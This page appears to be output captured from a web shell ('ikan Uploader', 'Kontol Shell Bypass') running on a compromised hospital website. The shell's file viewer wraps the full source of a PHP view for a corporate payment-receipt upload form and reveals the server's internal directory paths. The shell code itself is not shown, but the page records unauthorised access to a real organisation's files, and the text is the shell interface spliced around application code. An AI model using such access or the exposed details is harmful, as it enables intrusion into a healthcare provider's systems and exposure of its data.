ikan Uploader :
Directory : /var/www/html/shardahospital_old.org/cowin/application/views/
Upload File : |
| Current File : /var/www/html/shardahospital_old.org/cowin/application/views/alreadypay.php |
<div class="container">
<div class="row">
<div class="col col-lg-12">
<div class="login-header">
<!-- <p>Already a Member?</p>
<button type="button" class="btn btn-primary header-btn" onclick="window.location.href = 'login.html';">Login </button>-->
</div>
</div>
</div>
</div>
<div class="container">
<div class="row">
<div class="col-lg-3"></div>
<div class="col-lg-6">
<div class="login-rectangle">
<a href="<?=base_url('companydashboard')?>" class="backtodash"><i class="fa fa-arrow-left" aria-hidden="true"></i> Back </a>
<div class="login-logo">
<img src="<?=base_url('assests/imgs')?>/logo_new.png">
</div>
<form action="" method="POST" enctype="multipart/form-data">
<?php if (validation_errors()) { ?>
<div class="alert alert-danger"><?= validation_errors() ?></div>
<?php } ?>
<div class="login-sec">
<h2>Upload Corporate Payment Details</h2>
<p>Upload your payment receipt and transaction number. </p>
<div class="radio-btn">
<span>Transaction Number</span>
<input type="text" name="transaction_id" maxlength=30 id="transaction_id" value="<?=$recored['transaction_id']?>" />
</div>
<div class="radio-btn">
<span>Payment Receipt</span>
<input type="hidden" name="size" value="3500000">
<input type="file" name="photo_proof" id="photo_proof" placeholder="Upload Payment Receipt">
<small>(Only jpg, jpeg, png and pdf allowed)</small>
</div>
<div class="radio-btn">
<span style="color:red;">*All Fileds are mandatory</span>
</div>
<button type="submit" class="btn btn-primary login-btn">Save</button>
</div>
</form>
<div class="login-pin"></div>
</div>
</div>
<div class="col col-lg-3"></div>
</div>
</div>
Kontol Shell Bypass